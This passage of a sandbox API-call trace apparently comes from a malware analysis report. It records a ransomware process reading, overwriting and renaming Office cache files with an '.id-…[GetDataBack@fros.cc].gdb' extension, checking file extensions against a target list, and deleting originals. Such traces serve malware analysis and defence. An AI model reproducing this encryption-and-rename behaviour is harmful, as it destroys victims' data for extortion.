dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0121.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0121.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0121.075] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0121.079] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0121.079] ReadFile (in: hFile=0x1fc, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0121.136] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.136] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0121.136] ReadFile (in: hFile=0x1fc, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0121.150] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0121.150] WriteFile (in: hFile=0x1fc, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc00fe, lpOverlapped=0x0) returned 1 [0121.169] SetEndOfFile (hFile=0x1fc) returned 1 [0121.501] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0121.501] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0121.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0121.686] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0121.689] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0121.689] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0121.692] CloseHandle (hObject=0x1fc) returned 1 [0123.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString=".doc") returned 4 [0123.394] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString=".docx") returned 5 [0123.394] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0123.394] lstrlenW (lpString=".pdf") returned 4 [0123.394] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString=".xls") returned 4 [0123.394] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString=".xlsx") returned 5 [0123.394] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0123.394] lstrlenW (lpString=".ppt") returned 4 [0123.394] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString=".zip") returned 4 [0123.394] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString=".rar") returned 4 [0123.394] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString=".bz2") returned 4 [0123.394] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0123.394] lstrlenW (lpString=".7z") returned 3 [0123.394] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString=".dbf") returned 4 [0123.394] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString=".1cd") returned 4 [0123.394] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0123.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.394] lstrlenW (lpString=".jpg") returned 4 [0123.395] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString=".doc") returned 4 [0123.395] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString=".docx") returned 5 [0123.395] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0123.395] lstrlenW (lpString=".pdf") returned 4 [0123.395] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString=".xls") returned 4 [0123.395] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString=".xlsx") returned 5 [0123.395] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0123.395] lstrlenW (lpString=".ppt") returned 4 [0123.395] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString=".zip") returned 4 [0123.395] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString=".rar") returned 4 [0123.395] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString=".bz2") returned 4 [0123.395] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0123.395] lstrlenW (lpString=".7z") returned 3 [0123.395] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString=".dbf") returned 4 [0123.395] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString=".1cd") returned 4 [0123.395] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0123.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0123.395] lstrlenW (lpString=".jpg") returned 4 [0123.395] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0123.396] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0123.396] lstrlenW (lpString="InfLR.cab") returned 9 [0123.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0123.396] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=18874884) returned 1 [0123.396] CloseHandle (hObject=0x1fc) returned 1 [0123.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0123.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.396] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0123.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0123.397] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0123.397] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0123.397] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0123.403] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0123.403] ReadFile (in: hFile=0x1fc, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0123.411] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0123.411] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0123.411] ReadFile (in: hFile=0x1fc, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0123.429] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0123.429] WriteFile (in: hFile=0x1fc, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc00fe, lpOverlapped=0x0) returned 1 [0123.707] SetEndOfFile (hFile=0x1fc) returned 1 [0123.793] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0123.793] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0123.794] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0123.795] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0123.797] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0123.797] WriteFile (in: hFile=0x1fc, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0123.800] CloseHandle (hObject=0x1fc) returned 1 [0127.017] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.017] lstrlenW (lpString=".doc") returned 4 [0127.017] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString=".docx") returned 5 [0127.017] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.017] lstrlenW (lpString=".pdf") returned 4 [0127.017] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString=".xls") returned 4 [0127.017] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString=".xlsx") returned 5 [0127.017] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.017] lstrlenW (lpString=".ppt") returned 4 [0127.017] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.017] lstrlenW (lpString=".zip") returned 4 [0127.017] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString=".rar") returned 4 [0127.017] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.017] lstrlenW (lpString=".bz2") returned 4 [0127.017] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.017] lstrlenW (lpString=".7z") returned 3 [0127.018] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".dbf") returned 4 [0127.018] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".1cd") returned 4 [0127.018] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".jpg") returned 4 [0127.018] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".doc") returned 4 [0127.018] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString=".docx") returned 5 [0127.018] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.018] lstrlenW (lpString=".pdf") returned 4 [0127.018] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString=".xls") returned 4 [0127.018] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString=".xlsx") returned 5 [0127.018] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.018] lstrlenW (lpString=".ppt") returned 4 [0127.018] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".zip") returned 4 [0127.018] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString=".rar") returned 4 [0127.018] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0127.018] lstrlenW (lpString=".bz2") returned 4 [0127.018] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0127.018] lstrlenW (lpString=".7z") returned 3 [0127.018] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0127.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.018] lstrlenW (lpString=".dbf") returned 4 [0127.019] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0127.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.019] lstrlenW (lpString=".1cd") returned 4 [0127.019] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0127.019] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0127.019] lstrlenW (lpString=".jpg") returned 4 [0127.019] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0127.019] lstrcmpiW (lpString1=".MST", lpString2=".gdb") returned 1 [0127.019] lstrlenW (lpString="ShellUI.MST") returned 11 [0127.019] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.019] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=3584) returned 1 [0127.019] CloseHandle (hObject=0x1fc) returned 1 [0127.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0127.019] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0127.020] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.020] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.020] GetLastError () returned 0x0 [0127.020] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0xe00, lpOverlapped=0x0) returned 1 [0127.025] WriteFile (in: hFile=0x1ac, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xe10, lpOverlapped=0x0) returned 1 [0127.026] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0127.026] WriteFile (in: hFile=0x1ac, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xea, lpOverlapped=0x0) returned 1 [0127.026] SetEndOfFile (hFile=0x1ac) returned 1 [0127.026] CloseHandle (hObject=0x1ac) returned 1 [0127.026] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0127.026] SetEndOfFile (hFile=0x1fc) returned 1 [0127.027] CloseHandle (hObject=0x1fc) returned 1 [0127.027] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.027] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString=".doc") returned 4 [0127.028] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0127.028] lstrlenW (lpString=".docx") returned 5 [0127.028] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0127.028] lstrlenW (lpString=".pdf") returned 4 [0127.028] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0127.028] lstrlenW (lpString=".xls") returned 4 [0127.028] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0127.028] lstrlenW (lpString=".xlsx") returned 5 [0127.028] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0127.028] lstrlenW (lpString=".ppt") returned 4 [0127.028] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString=".zip") returned 4 [0127.028] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0127.028] lstrlenW (lpString=".rar") returned 4 [0127.028] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0127.028] lstrlenW (lpString=".bz2") returned 4 [0127.028] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0127.028] lstrlenW (lpString=".7z") returned 3 [0127.028] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString=".dbf") returned 4 [0127.028] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString=".1cd") returned 4 [0127.028] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0127.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.028] lstrlenW (lpString=".jpg") returned 4 [0127.029] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0127.029] lstrlenW (lpString=".doc") returned 4 [0127.029] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0127.029] lstrlenW (lpString=".docx") returned 5 [0127.029] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0127.029] lstrlenW (lpString=".pdf") returned 4 [0127.029] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0127.029] lstrlenW (lpString=".xls") returned 4 [0127.029] lstrcmpiW (lpString1=".xls", 